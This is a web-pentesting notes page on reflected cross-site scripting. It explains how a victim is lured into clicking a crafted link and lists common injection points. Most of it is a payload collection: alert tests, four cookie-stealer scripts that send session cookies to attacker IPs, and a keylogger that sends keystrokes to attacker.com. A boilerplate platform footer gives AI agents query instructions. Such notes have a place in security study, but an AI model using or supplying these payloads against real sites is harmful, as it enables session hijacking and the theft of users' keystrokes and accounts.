> For the complete documentation index, see [llms.txt](https://itrp19-notes.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/xss/xss-reflected.md).

# XSS Reflected

Reflected XSS

This starts by an attacker crafting a malicious email and then encouraging a user to click it. The malicious URL is often placed within a phishing email, but it could also be placed on a public website, such as a link within a comment. When the user clicks the malicious URL, it sends an HTTP request to a server with the user's cookie which the attacker can use to hijack the user/admin account through what's called session hijacking. To summarize, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

Entry points

* Parameters in the URL Query String
* URL File Path
* Sometimes HTTP Headers
* Search Fields
* Comments section
* Contact Forms

Example Payloads

JS

```javascript
<script>alert("Hello")</script>

<script>alert(window.location.hostname)</script>

"><script>alert('XSS');</script> 
[suitable for escaping input tags]

<textarea><script>alert('THM');</script>
[suitable for escaping text areas]

';alert('Hi_There');//'
```

Cookie Stealer

\[1] JS

```javascript
<script>fetch('http://10.8.133.250:8000/steal?cookie=' + btoa(document.cookie));</script>
```

\[2] JS

```javascript
<script>window.location='http://10.8.133.250:8000/cookie?'+document.cookie;</script>
```

\[3] JS

```javascript
<script>var myimg = new Image(); myimg.src = 'http://10.14.2.200/q?a=' + document.cookie;</script>
```

\[4] JS

```javascript
<script>document.location='http://ip:8000/XSS/grabber.php?c='+document.cookie;</script>
```

Keylogger

```
<script>document.onkeypress = 
    function(e) {
        fetch('http://attacker.com/log?key=' + btoa(e.key));
    }</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/xss/xss-reflected.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
